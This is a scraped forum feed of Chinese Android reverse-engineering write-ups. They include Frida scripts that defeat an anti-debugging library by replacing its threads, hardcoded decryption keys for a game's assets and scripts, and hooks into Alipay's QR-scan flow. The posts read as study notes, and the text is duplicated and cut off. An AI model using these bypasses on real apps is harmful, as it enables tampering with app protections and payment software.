MiniProgramEnv/android\\\\\\"},{\\\\\\"k\\\\\\":\\\\\\"referer\\\\\\",\\\\\\"v\\\\\\":\\\\\\"https://servicewechat.com/wx2fd91fc20b4d1376/193/page-frame.html\\\\\\"},{\\\\\\"k\\\\\\":\\\\\\"X-WX-ENV\\\\\\",\\\\\\"v\\\\\\":\\\\\\"ylxs-4gg26312c79395ce\\\\\\"},{\\\\\\"k\\\\\\":\\\\\\"X-WX-CONTAINER-PATH\\\\\\",\\\\\\"v\\\\\\":\\\\\\"/promoterAction/queryPromoter\\\\\\"}],\\\\\\"data\\\\\\":\\\\\\"{}\\\\\\",\\\\\\"data_type\\\\\\":0,\\\\\\"action\\\\\\":1,\\\\\\"retryType\\\\\\":0,\\\\\\"call_id\\\\\\":\\\\\\"1734593087863-0.30876127625770944\\\\\\"}\\" , \\"qbase_options\\" :{ \\"env\\" : \\"ylxs-4gg26312c79395ce\\" , \\"rand\\" : \\"0.6732074762652199\\" }, \\"qbase_meta\\" :{ \\"session_id\\" : \\"1734590464124\\" , \\"sdk_version\\" : \\"wx-miniprogram-sdk/3.3.5 (1720506833000 platform/android})\\" , \\"filter_user_info\\" :false}, \\"cli_req_id\\" : \\"1734593087868_0.0936678805604707\\" }, \\"operate_directly\\" :false}, \\"timeout\\" : 180000 , \\"requestInQueue\\" :false, \\"isImportant\\" :false} |
其中这一串我发现似乎就是小程序云托管调用的API
\\n1、通过搜索wx常见的函数,如getStorageSync以快速hook到小程序内部机制
2、通过调用堆栈往上跟随找到小程序和微信的交互点
没错,本章已经结束了,抛砖引玉,记录思路。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"简介 好久没有碰Android逆向了,有1年多了,基本都生疏了,前来复习一下;\\n本着研究学习的方向,探索Wx小程序云托管的调用机制;\\n\\n抓包\\n\\nCharles发现云托管的API没办法直接抓包,似乎用的是内部的通道进行通信的,所以只能尝试往小程序jsapi方向下手。\\n\\n提取\\n\\n在开始之前,需要先把小程序代码脱出来。\\nhttps://github.com/wux1an/wxapkg\\n在GitHub上无意中找到的。该项目由go编写的,非常方便,直接扫描电脑上缓存的小程序并且还有解压\\n \\n在图上发现该小程序是调用 t.cloud.init 进行初始化云托管,随后通过t…","guid":"https://bbs.kanxue.com/thread-284878.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2024-12-19T07:29:00.830Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202412/885524_CQSNEGM8FG2MDBH.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202412/885524_7W4QPHRK8P63WH4.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202412/885524_GMFMNJSPRVNURZ8.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202412/885524_VGHZ6RDA8ZK3V7E.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202412/885524_UT5VZ93PEGBJV22.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202412/885524_7GT3VNN7QE2CTWS.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202412/885524_GJ8KPW4GBUD9UCF.webp","type":"photo","width":0,"height":0,"blurhash":""}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]【安卓逆向】libmsaoaidsec.so反调试及算法逆向案例(爱库存)","url":"https://bbs.kanxue.com/thread-284816.htm","content":"\\n\\ncharles + 系统代理
就可以抓包
我们本次主要分析这个sign
附加frida,发现秒退,这个时候我们已经是魔改的fridaGitHub - taisuii/rusda: 对frida 16.2.1的patch并且更换端口了
hook 一下dlopen
在 libmsaoaidsec.so 处退出,app没有结束,frida被杀掉了
这个检测其实就是在加载so的时候,创建了检测线程,具体的话可以分析libmsaoaidsec.so
的 .init_proc
函数
那么其实已经有很多网友分析过这个了,hook__system_property_get
函数寻找hook时机,找到创建线程的地方然后把它替换掉固然是个好方法
不过这里直接粗暴一点,hook pthread_create
,只要是在libmsaoaidsec.so
里面创建的线程,我们统统替换掉
成功过掉检测,一共两处线程创建的地方:0x175f8和0x16d30,
这个检测在很多app中都是存在的,这个方式在其他app中不一定适用
无套路定位到
无套路,可读性非常高,都是字符串拼接
这个digest函数是调用的java层进行加密的
获取加密参数以及sha256 的参数,结果一致
(base) r@R aikucun % frida -H 127.0.0.1:12345 -f com.aikucun.akapp
____
\\n/ _ | Frida 16.2.1 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/
|_| help -> Displays the help system
\\n. . . . object? -> Display information about
\'object\'
\\n. . . .
exit
/quit
-> Exit
\\n. . . .
. . . . More info at https:
//frida
.re
/docs/home/
\\n. . . .
. . . . Connected to 127.0.0.1:12345 (
id
=socket@127.0.0.1:12345)
\\nSpawned `com.aikucun.akapp`. Resuming main thread!
[Remote::com.aikucun.akapp ]-> Process terminated
[Remote::com.aikucun.akapp ]->
Thank you
for
using Frida!
\\n(base) r@R aikucun %
(base) r@R aikucun % frida -H 127.0.0.1:12345 -f com.aikucun.akapp
____
\\n/ _ | Frida 16.2.1 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/
|_| help -> Displays the help system
\\n. . . . object? -> Display information about
\'object\'
\\n. . . .
exit
/quit
-> Exit
\\n. . . .
. . . . More info at https:
//frida
.re
/docs/home/
\\n. . . .
. . . . Connected to 127.0.0.1:12345 (
id
=socket@127.0.0.1:12345)
\\nSpawned `com.aikucun.akapp`. Resuming main thread!
[Remote::com.aikucun.akapp ]-> Process terminated
[Remote::com.aikucun.akapp ]->
Thank you
for
using Frida!
\\n(base) r@R aikucun %
function
hookdlopen() {
\\n
var
dlopen = Module.findExportByName(
null
,
\\"dlopen\\"
);
\\n
var
android_dlopen_ext = Module.findExportByName(
null
,
\\"android_dlopen_ext\\"
);
\\n
Interceptor.attach(dlopen, {
\\n
onEnter:
function
(args) {
\\n
var
path_ptr = args[0];
\\n
var
path = ptr(path_ptr).readCString();
\\n
console.log(
\\"[dlopen:]\\"
, path);
\\n
},
\\n
onLeave:
function
(retval) {
\\n
}
\\n
});
\\n
Interceptor.attach(android_dlopen_ext, {
\\n
onEnter:
function
(args) {
\\n
var
path_ptr = args[0];
\\n
var
path = ptr(path_ptr).readCString();
\\n
console.log(
\\"[dlopen_ext:]\\"
, path);
\\n
},
\\n
onLeave:
function
(retval) {
\\n
}
\\n
});
\\n}
function
hookdlopen() {
\\n
var
dlopen = Module.findExportByName(
null
,
\\"dlopen\\"
);
\\n
var
android_dlopen_ext = Module.findExportByName(
null
,
\\"android_dlopen_ext\\"
);
\\n
Interceptor.attach(dlopen, {
\\n
onEnter:
function
(args) {
\\n
var
path_ptr = args[0];
\\n
var
path = ptr(path_ptr).readCString();
\\n
console.log(
\\"[dlopen:]\\"
, path);
\\n
},
\\n
onLeave:
function
(retval) {
\\n
}
\\n
});
\\n
Interceptor.attach(android_dlopen_ext, {
\\n
onEnter:
function
(args) {
\\n
var
path_ptr = args[0];
\\n
var
path = ptr(path_ptr).readCString();
\\n
console.log(
\\"[dlopen_ext:]\\"
, path);
\\n
},
\\n
onLeave:
function
(retval) {
\\n
}
\\n
});
\\n}
(base) r@R aikucun % frida -H 127.0.0.1:12345 -f com.aikucun.akapp -l hook.js
____
\\n/ _ | Frida 16.2.1 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/
|_| help -> Displays the help system
\\n. . . . object? -> Display information about
\'object\'
\\n. . . .
exit
/quit
-> Exit
\\n. . . .
. . . . More info at https:
//frida
.re
/docs/home/
\\n. . . .
. . . . Connected to 127.0.0.1:12345 (
id
=socket@127.0.0.1:12345)
\\nSpawned `com.aikucun.akapp`. Resuming main thread!
[Remote::com.aikucun.akapp ]-> [dlopen_ext:]
/system/framework/oat/arm64/org
.apache.http.legacy.boot.odex
\\n[dlopen_ext:]
/data/app/com
.aikucun.akapp-Gqd0OXL0bAt7H-zUkRSKuA==
/oat/arm64/base
.odex
\\n[dlopen_ext:]
/data/app/com
.aikucun.akapp-Gqd0OXL0bAt7H-zUkRSKuA==
/lib/arm64/libc
++_shared.so
\\n[dlopen_ext:]
/data/app/com
.aikucun.akapp-Gqd0OXL0bAt7H-zUkRSKuA==
/lib/arm64/libmarsxlog
.so
\\n[dlopen_ext:]
/data/app/com
.aikucun.akapp-Gqd0OXL0bAt7H-zUkRSKuA==
/lib/arm64/libmmkv
.so
\\n[dlopen_ext:]
/data/app/com
.aikucun.akapp-Gqd0OXL0bAt7H-zUkRSKuA==
/lib/arm64/libmsaoaidsec
.so
\\nProcess terminated
[Remote::com.aikucun.akapp ]->
Thank you
for
using Frida!
\\n(base) r@R aikucun %
(base) r@R aikucun % frida -H 127.0.0.1:12345 -f com.aikucun.akapp -l hook.js
____
\\n/ _ | Frida 16.2.1 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/
|_| help -> Displays the help system
\\n. . . . object? -> Display information about
\'object\'
\\n. . . .
exit
/quit
-> Exit
\\n. . . .
. . . . More info at https:
//frida
.re
/docs/home/
\\n. . . .
. . . . Connected to 127.0.0.1:12345 (
id
=socket@127.0.0.1:12345)
\\nSpawned `com.aikucun.akapp`. Resuming main thread!
[Remote::com.aikucun.akapp ]-> [dlopen_ext:]
/system/framework/oat/arm64/org
.apache.http.legacy.boot.odex
\\n[dlopen_ext:]
/data/app/com
.aikucun.akapp-Gqd0OXL0bAt7H-zUkRSKuA==
/oat/arm64/base
.odex
\\n[dlopen_ext:]
/data/app/com
.aikucun.akapp-Gqd0OXL0bAt7H-zUkRSKuA==
/lib/arm64/libc
++_shared.so
\\n[dlopen_ext:]
/data/app/com
.aikucun.akapp-Gqd0OXL0bAt7H-zUkRSKuA==
/lib/arm64/libmarsxlog
.so
\\n[dlopen_ext:]
/data/app/com
.aikucun.akapp-Gqd0OXL0bAt7H-zUkRSKuA==
/lib/arm64/libmmkv
.so
\\n[dlopen_ext:]
/data/app/com
.aikucun.akapp-Gqd0OXL0bAt7H-zUkRSKuA==
/lib/arm64/libmsaoaidsec
.so
\\nProcess terminated
[Remote::com.aikucun.akapp ]->
Thank you
for
using Frida!
\\n(base) r@R aikucun %
function
replace(addr) {
\\n
Interceptor.replace(addr,
new
NativeCallback(
function
() {
\\n
console.log(`replace ${addr}`)
\\n
},
\'void\'
, []));
\\n}
function
hook_pthread_create(soname) {
\\n
let replaces = [];
// 用来记录已经替换的函数偏移
\\n
// int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void*), void *arg);
\\n
let pthread_create = Module.findExportByName(
\\"libc.so\\"
,
\\"pthread_create\\"
);
\\n
if
(!pthread_create) {
\\n
console.log(
\\"pthread_create not found in libc.so\\"
);
\\n
return
;
\\n
}
\\n
Interceptor.attach(pthread_create, {
\\n
onEnter:
function
(args) {
\\n
let start_routine = args[2];
\\n
let libmsaoaidsec = Process.findModuleByAddress(start_routine);
\\n
if
(libmsaoaidsec && libmsaoaidsec.name === soname) {
\\n
if
(!replaces.includes(start_routine.toString())) {
\\n
let libmsaoaidsec_addr = libmsaoaidsec.base;
\\n
let func_offset = start_routine.sub(libmsaoaidsec_addr);
\\n
console.log(
\\"The thread function offset address in libmsaoaidsec.so(\\"
+ libmsaoaidsec_addr +
\\") is \\"
+ func_offset);
\\n
console.log(
\\"replace: \\"
+ func_offset);
\\n
replaces.push(start_routine.toString());
\\n
replace(start_routine)
\\n
}
\\n
}
\\n
}
\\n
});
\\n}
function
replace(addr) {
\\n
Interceptor.replace(addr,
new
NativeCallback(
function
() {
\\n
console.log(`replace ${addr}`)
\\n
},
\'void\'
, []));
\\n}
function
hook_pthread_create(soname) {
\\n
let replaces = [];
// 用来记录已经替换的函数偏移
\\n
// int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void*), void *arg);
\\n
let pthread_create = Module.findExportByName(
\\"libc.so\\"
,
\\"pthread_create\\"
);
\\n
if
(!pthread_create) {
\\n
console.log(
\\"pthread_create not found in libc.so\\"
);
\\n
return
;
\\n
}
\\n
Interceptor.attach(pthread_create, {
\\n
onEnter:
function
(args) {
\\n
let start_routine = args[2];
\\n
let libmsaoaidsec = Process.findModuleByAddress(start_routine);
\\n
if
(libmsaoaidsec && libmsaoaidsec.name === soname) {
\\n
if
(!replaces.includes(start_routine.toString())) {
\\n
let libmsaoaidsec_addr = libmsaoaidsec.base;
\\n
let func_offset = start_routine.sub(libmsaoaidsec_addr);
\\n
console.log(
\\"The thread function offset address in libmsaoaidsec.so(\\"
+ libmsaoaidsec_addr +
\\") is \\"
+ func_offset);
\\n
console.log(
\\"replace: \\"
+ func_offset);
\\n
replaces.push(start_routine.toString());
\\n
replace(start_routine)
\\n
}
\\n
}
\\n
}
\\n
});
\\n}
(base) r@R aikucun % frida -H 127.0.0.1:12345 -l hook.js -f com.aikucun.akapp
____
\\n/ _ | Frida 16.2.1 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/
|_| help -> Displays the help system
\\n. . . . object? -> Display information about
\'object\'
\\n. . . .
exit
/quit
-> Exit
\\n. . . .
. . . . More info at https:
//frida
.re
/docs/home/
\\n. . . .
. . . . Connected to 127.0.0.1:12345 (
id
=socket@127.0.0.1:12345)
\\nSpawned `com.aikucun.akapp`. Resuming main thread!
[Remote::com.aikucun.akapp ]-> replace 0x7b6b55a5f8
replace 0x7b6b559d30
[Remote::com.aikucun.akapp ]->
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
\\n\\n\\n\\n\\n\\n上传的附件:\\n本篇文章仅为学习交流所用,涉及的数据已做脱敏处理,请勿用于不当途径,侵权请联系
首先解包APP后打开assets\\\\resources文件夹后发现png文件,但是直接打开提示图片已破损,我勒个豆,顿感不妙,遂换一个工具试试,使用010打开后有了新发现。如下图:
这小子竟然偷偷换了PNG的魔术头,那么他有木有可能偷懒只是改了魔术头呢?于是乎我就准备把头在给他安装回去,让他不在那么不正常!!!填充头部8字节的魔术头(89 50 4E 47 0D 0A 1A 0A),保存,重新打开,发现还是不行。这小子是一点懒也不偷啊!年度最佳员工奖得给他!
那没办法了,轻易得到的总不是最珍惜的!干他!!!
首先观察几张加密的PNG文件后发现头部7字节仿佛是flag,是固定的,7字节后可能就是加密数据。
加载图片的话,一般会调用open、fopen之类的函数,我们使用frida hook 这些API,看看是否会有所收获。经过一堆输出然后检索信息后得到了有效信息如下:
[Libc::fopen] fopen filename /data/user/0/com.xxxx.xxx/files/gamecaches/mnpanda/17340646274751859.png
[INFO][12/13/2024, 00:37:11 PM][PID:6478][Thread-25][6654][showNativeStacks]: Backtrace:
0x7493b6edfc libcocos2djs.so!0x766dfc
0x7493b6edfc libcocos2djs.so!0x766dfc
0x7493b58664 libcocos2djs.so!0x750664
0x7493b6ed0c libcocos2djs.so!0x766d0c
0x7493c792dc libcocos2djs.so!0x8712dc
0x7493befe48 libcocos2djs.so!0x7e7e48
0x7493c81d4c libcocos2djs.so!0x879d4c
0x7493c82808 libcocos2djs.so!0x87a808
0x75c6b0c5cc libc.so!_ZL15__pthread_startPv+0xd4
0x75c6aa5fc0 libc.so!__start_thread+0x48
0x75c6aa5fc0 libc.so!__start_thread+0x48
通过上面的信息我们可以发现解密函数可能来自libcocos2djs.so,IDA加载该so后跳转到
0x766dfc 这个地址看一下。如下图:
这里只是文件操作相关,说明加密函数还在上一层,继续追,找到其调用位置,如下图:
该函数主要是尝试从 OBB(扩展)文件或 Android 资产系统加载文件内容,在往上追......
直到这里,一切就变得明了了。我们跟进cocos2d::Image::initWithImageData函数看看。
cocos2d::Image::deEncryptPng函数中,密钥固定为1f8fd1612362fdd6f753f2ee55107d2b,跟进函数看看
hook看一下参数
果然跟上面的猜测一样,原始数据偏移7字节后即为加密数据,然后key和每个字节做异或运算得到明文数据。按照原始程序将此还原为C。主要逻辑代码如下:
尝试解密,发现姿势正确!!!
在查找PNG文件的途中,发现了jsc文件,那就顺便研究一下姿势吧!
通过询问GPT得到了一定的思路,GPT回答如下:
按照这个思路,我们去IDA里面搜一下xxtea。
发现有个设置key的地方,跟进去看一下。
代码逻辑比较简单,就是根据传入指针 result 的内容,对一个全局字符串变量 byte_1BD9AC8进行设置,记住这个全局变量,一会要考!!!!
那我们就交叉引用看一下调用它的地方。
这时候我们就发现key固定为bc337194-20c1-45。既然找到密钥了,再回去看xxtea的解密函数。
对于参数对应关系不太清楚,这时候需要查阅一下源码xxtea_decrypt 通过源码可知,参数一为加密数据,参数二为加密数据长度,参数三为解密key,参数四为key的长度,参数为解密数据长度。
验证是否和源码描述一样,我们可以通过查看静态代码和hook的方式去确认。首先我们查看调用解密方法的地方。主要逻辑如下图:
这时候我们基本上确定和分析的一样,我们可以hook看一下数据。在打开加密的jsc文件,在hook 结果中搜索一下加密数据的前几位,就可以确定是否是我们想要的数据。
那么接下来就可以写代码验证了,解密方法为xxtea_decrypt, 密钥为bc337194-20c1-45。主要代码如下:
运行后查看,解密成功~~~~~~
至此,涉及jsc和资源文件的解密就结束了!!!那位同学的最佳员工可能暂时没了,不过新的KPI又有了!!!你就说吧,我对你好不好!哈哈哈哈哈~~~
项目完整代码:cocos2dx_decryption
int
deEncryptPng(
\\n
const
unsigned
char
*inputData,
// 本地读取的加密PNG数据(不含PNG头和IEND)
\\n
size_t
inputLen,
// inputData长度
\\n
const
char
*key,
// 异或密钥字符串
\\n
unsigned
char
*outputData
// 输出的完整解密PNG数据
\\n)
{
// 计算密钥长度
\\n
size_t
keyLen =
strlen
(key);
\\n
// 总输出长度 = 输入长度 + 8字节PNG头 + 12字节IEND = inputLen + 20
\\n
size_t
outputLen = inputLen + 20;
\\n
// 写入PNG标准头部:89 50 4E 47 0D 0A 1A 0A
\\n
// (标准PNG文件头)
\\n
outputData[0] = 0x89;
\\n
outputData[1] = 0x50;
\\n
outputData[2] = 0x4E;
\\n
outputData[3] = 0x47;
\\n
outputData[4] = 0x0D;
\\n
outputData[5] = 0x0A;
\\n
outputData[6] = 0x1A;
\\n
outputData[7] = 0x0A;
\\n
// 将输入数据拷贝到outputData的第8字节开始的位置
\\n
memcpy
(outputData + 8, inputData, inputLen);
\\n
// 写入IEND块到尾部
\\n
// IEND块共12字节:00 00 00 00 49 45 4E 44 AE 42 60 82
\\n
size_t
endPos = outputLen - 12;
\\n
outputData[endPos + 0] = 0x00;
\\n
outputData[endPos + 1] = 0x00;
\\n
outputData[endPos + 2] = 0x00;
\\n
outputData[endPos + 3] = 0x00;
\\n
outputData[endPos + 4] = 0x49;
// \'I\'
\\n
outputData[endPos + 5] = 0x45;
// \'E\'
\\n
outputData[endPos + 6] = 0x4E;
// \'N\'
\\n
outputData[endPos + 7] = 0x44;
// \'D\'
\\n
outputData[endPos + 8] = 0xAE;
\\n
outputData[endPos + 9] = 0x42;
\\n
outputData[endPos + 10] = 0x60;
\\n
outputData[endPos + 11] = 0x82;
\\n
// 异或处理区域:从offset=8一直到(outputLen - 13)字节位置
\\n
// 这对应原代码中v8 = a4 - 13的逻辑
\\n
if
(outputLen > 20) {
\\n
size_t
start = 8;
\\n
size_t
stop = outputLen - 13;
// 包含此位置
\\n
size_t
idx = 0;
\\n
for
(
size_t
i = start; i <= stop; i++) {
\\n
if
(idx >= keyLen) idx = 0;
\\n
outputData[i] ^= (unsigned
char
)key[idx++];
\\n
}
\\n
}
\\n
// 返回密钥长度(根据原函数返回值逻辑)
\\n
return
(
int
)keyLen;
\\n}
int
deEncryptPng(
\\n
const
unsigned
char
*inputData,
// 本地读取的加密PNG数据(不含PNG头和IEND)
\\n
size_t
inputLen,
// inputData长度
\\n
const
char
*key,
// 异或密钥字符串
\\n
unsigned
char
*outputData
// 输出的完整解密PNG数据
\\n)
{
// 计算密钥长度
\\n
size_t
keyLen =
strlen
(key);
\\n
// 总输出长度 = 输入长度 + 8字节PNG头 + 12字节IEND = inputLen + 20
\\n
size_t
outputLen = inputLen + 20;
\\n
// 写入PNG标准头部:89 50 4E 47 0D 0A 1A 0A
\\n
// (标准PNG文件头)
\\n
outputData[0] = 0x89;
\\n
outputData[1] = 0x50;
\\n
outputData[2] = 0x4E;
\\n
outputData[3] = 0x47;
\\n
outputData[4] = 0x0D;
\\n
outputData[5] = 0x0A;
\\n
outputData[6] = 0x1A;
\\n
outputData[7] = 0x0A;
\\n
// 将输入数据拷贝到outputData的第8字节开始的位置
\\n
memcpy
(outputData + 8, inputData, inputLen);
\\n
// 写入IEND块到尾部
\\n
// IEND块共12字节:00 00 00 00 49 45 4E 44 AE 42 60 82
\\n
size_t
endPos = outputLen - 12;
\\n
outputData[endPos + 0] = 0x00;
\\n
outputData[endPos + 1] = 0x00;
\\n
outputData[endPos + 2] = 0x00;
\\n
outputData[endPos + 3] = 0x00;
\\n
outputData[endPos + 4] = 0x49;
// \'I\'
\\n
outputData[endPos + 5] = 0x45;
// \'E\'
\\n
outputData[endPos + 6] = 0x4E;
// \'N\'
\\n
outputData[endPos + 7] = 0x44;
// \'D\'
\\n
outputData[endPos + 8] = 0xAE;
\\n
outputData[endPos + 9] = 0x42;
\\n
outputData[endPos + 10] = 0x60;
\\n[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
\\n\\n需要分析支付某打开扫一扫,扫到目标二维码后是如何跳转到转账页面的。
\\n发现扫码从数据包无从下手定位,尝试关键字:QRScan,QRCode,Translate等都找不到对应的函数,所以最终通过View的点击事件。
\\n1 2 3 4 5 6 7 8 9 | var Button = Java.use( \\"android.widget.Button\\" ); Button.setOnClickListener.overload( \\"android.view.View$OnClickListener\\" ).implementation = function (listener) { console.log( \\"Button clicked\\" ); / / listener.onClick(this); / / 调用原来的点击事件 printStack(); this.setOnClickListener(listener); console.log( \\"Button clicked end\\" ); return ; }; |
打印了堆栈,从堆栈结果里面找到了一个疑似创建扫码相机的View:
\\ncom.alipay.mobile.scan.ui2.NScanTopView
\\n因为这个类代码量巨大,5000多行,而且都是混淆过的名称,我直接发给ai进行分析,得出了大概扫描后的回调结果是在a方法:
\\n1 2 3 4 | @Override / / com.alipay.mobile.scan.ui.BaseScanTopView public final void a(com.alipay.mobile.bqcscanservice.BQCScanResult r25) { / / ... existing code ... } |
但是代码的过程看不到,只能看Smail指令,并且对应参数r25里面的BQCScanResult也是啥都没有,只能通过方法的执行过程分析(还是给AI分析)随后得出hook代码:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | let NScanTopView = Java.use( \\"com.alipay.mobile.scan.ui2.NScanTopView\\" ); NScanTopView[ \\"a\\" ].overload( \'com.alipay.mobile.bqcscanservice.BQCScanResult\' ).implementation = function (result) { console.log( \\"NScanTopView.a is called\\" ); if (result ! = null) { / / 1. 先确认是否是 MultiMaScanResult if (result.$className = = = \\"com.alipay.mobile.mascanengine.MultiMaScanResult\\" ) { let multiResult = Java.cast(result, Java.use( \\"com.alipay.mobile.mascanengine.MultiMaScanResult\\" )); / / 2. 获取 maScanResults 数组 let scanResults = multiResult.maScanResults.value; if (scanResults && scanResults.length > 0 ) { / / 3. 获取第一个结果 let firstResult = scanResults[ 0 ]; / / 4. 打印扫描文本 console.log( \\"Scan Text:\\" , firstResult.text.value); / / 5. 打印更多信息(如果需要) if (firstResult.rect) { console.log( \\"Scan Rect:\\" , JSON.stringify({ left: firstResult.rect.value.left, top: firstResult.rect.value.top, right: firstResult.rect.value.right, bottom: firstResult.rect.value.bottom })); } if (firstResult. type ) { console.log( \\"Scan Type:\\" , firstResult. type .value); } } } / / 备用方案:通过反射获取所有可能的属性 try { let fields = result.getClass().getDeclaredFields(); for (let i = 0 ; i < fields.length; i + + ) { let field = fields[i]; field.setAccessible(true); console.log(`Field ${field.getName()}: ${field.get(result)}`); } } catch(e) { console.log( \\"Error getting fields:\\" , e); } } / / 调用原始方法 return this[ \\"a\\" ](result); }; |
输出结果:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | Scan Text: https: / / qr.alipay.com / fkx17137rejqeh4j3v4cib0?t = 1733923946234 Scan Rect: { \\"left\\" :{ \\"_p\\" :[ \\"<instance: android.graphics.Rect>\\" , 2 ,{ \\"className\\" : \\"int\\" , \\"name\\" : \\"I\\" , \\"type\\" : \\"int32\\" , \\"size\\" : 1 , \\"byteSize\\" : 4 , \\"defaultValue\\" : 0 }, \\"0x7048f4b8\\" , \\"0x7ae97bd488\\" , \\"0x7ae97c07a0\\" ]}, \\"top\\" :{ \\"_p\\" :[ \\"<instance: android.graphics.Rect>\\" , 2 ,{ \\"className\\" : \\"int\\" , \\"name\\" : \\"I\\" , \\"type\\" : \\"int32\\" , \\"size\\" : 1 , \\"byteSize\\" : 4 , \\"defaultValue\\" : 0 }, \\"0x7048f4d8\\" , \\"0x7ae97bd488\\" , \\"0x7ae97c07a0\\" ]}, \\"right\\" :{ \\"_p\\" :[ \\"<instance: android.graphics.Rect>\\" , 2 ,{ \\"className\\" : \\"int\\" , \\"name\\" : \\"I\\" , \\"type\\" : \\"int32\\" , \\"size\\" : 1 , \\"byteSize\\" : 4 , \\"defaultValue\\" : 0 }, \\"0x7048f4c8\\" , \\"0x7ae97bd488\\" , \\"0x7ae97c07a0\\" ]}, \\"bottom\\" :{ \\"_p\\" :[ \\"<instance: android.graphics.Rect>\\" , 2 ,{ \\"className\\" : \\"int\\" , \\"name\\" : \\"I\\" , \\"type\\" : \\"int32\\" , \\"size\\" : 1 , \\"byteSize\\" : 4 , \\"defaultValue\\" : 0 }, \\"0x7048f4a8\\" , \\"0x7ae97bd488\\" , \\"0x7ae97c07a0\\" ]}} Scan Type : QR Field candidate: false Field classicFrameCount: 44 Field frameCount: 44 Field frameType: 0 Field maScanResults: [Lcom.alipay.mobile.mascanengine.MaScanResult;@ 178c311 Field readerParams: null Field recognizedPerformance: type = Normal^scanType = 3 ^unrecognizedFrame = 42 ^sumDurationOfUnrecognized = 1694 ^durationOfRecognized = 51 ^durationOfBlur = 0 ^durationOfBlurSVM = 0 ^detectFrameCountBlurSVM = 0 ^detectAvgDurationBlurSVM = 0.0 ^durationOfNoNeedCheckBlurSVM = 0 ^whetherGetTheSameLaplaceValue = false^sameLaplaceValueCount = 0 ^ Field rsBinarized: false Field rsBinarizedCount: 0 Field rsInitTime: 0 Field totalEngineCpuTime: null Field totalEngineTime: 2811662 Field totalScanTime: 48566 |
这样就拿到了扫码结果,但是我需要接着跟踪它将扫码结果进行转账通讯的部分,经过分析,最终处理扫描二维码的逻辑是在
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | / / 1. Hook BaseScanTopView 的所有方法,找到使用 c 的地方 let BaseScanTopView = Java.use( \\"com.alipay.mobile.scan.ui.BaseScanTopView\\" ); let NScanTopView = Java.use( \\"com.alipay.mobile.scan.ui2.NScanTopView\\" ); / / Hook 所有方法 let methods = BaseScanTopView. class .getDeclaredMethods(); methods.forEach(method = > { let methodName = method.getName(); if (BaseScanTopView[methodName]) { try { BaseScanTopView[methodName].implementation = function() { console.log(`\\\\n[ * ] BaseScanTopView.${methodName} 被调用`); / / 尝试通过反射获取 c 字段的值 try { let field = this.getClass().getSuperclass().getDeclaredField( \\"c\\" ); field.setAccessible(true); let cValue = field.get(this); if (cValue) { console.log( \\"[*] c 字段值类型:\\" , cValue.$className); / / 如果是 by 接口的实现,hook 它的方法 if (Java.use( \\"com.alipay.mobile.scan.ui.by\\" ). class .isAssignableFrom(cValue.getClass())) { console.log( \\"[*] 找到 by 接口实现类:\\" , cValue.$className); / / Hook 这个实现类的方法 let implClass = Java.use(cValue.$className); if (implClass.a) { implClass.a.overload( \'com.alipay.mobile.mascanengine.MaScanResult\' , \'com.alipay.mobile.scan.util.DataTransChannel\' ) .implementation = function(maScanResult, dataTransChannel) { console.log( \\"\\\\n[*] by 实现类的 a 方法被调用\\" ); if (maScanResult ! = null) { console.log( \\"[*] 扫描结果:\\" , maScanResult.text.value); } return this.a(maScanResult, dataTransChannel); }; } } } } catch(e) { / / console.log( \\"[!] 获取 c 字段失败:\\" , e); } / / 调用原方法 return this[methodName]. apply (this, arguments); }; } catch(e) { / / console.log(`[!] Hook ${methodName} 失败:`, e); } } }); / / 2. Hook NScanTopView 的 b 方法 NScanTopView[ \\"b\\" ].overload( \'com.alipay.mobile.bqcscanservice.BQCScanResult\' ).implementation = function (bQCScanResult) { console.log( \\"\\\\n[*] NScanTopView.b 被调用\\" ); / / 在调用前尝试获取 c 字段 try { let field = this.getClass().getSuperclass().getDeclaredField( \\"c\\" ); field.setAccessible(true); let cValue = field.get(this); if (cValue) { console.log( \\"[*] c 字段实现类:\\" , cValue.$className); } } catch(e) { console.log( \\"[!] 获取 c 字段失败:\\" , e); } let result = this[ \\"b\\" ](bQCScanResult); return result; }; / / 3. 动态查找并 hook by 接口的实现类 Java.choose( \\"com.alipay.mobile.scan.ui.by\\" , { onMatch: function(instance) { console.log( \\"[*] 找到 by 接口实例:\\" , instance.$className); / / Hook 这个实例的方法 let implClass = Java.use(instance.$className); if (implClass.a) { implClass.a.overload( \'com.alipay.mobile.mascanengine.MaScanResult\' , \'com.alipay.mobile.scan.util.DataTransChannel\' ) .implementation = 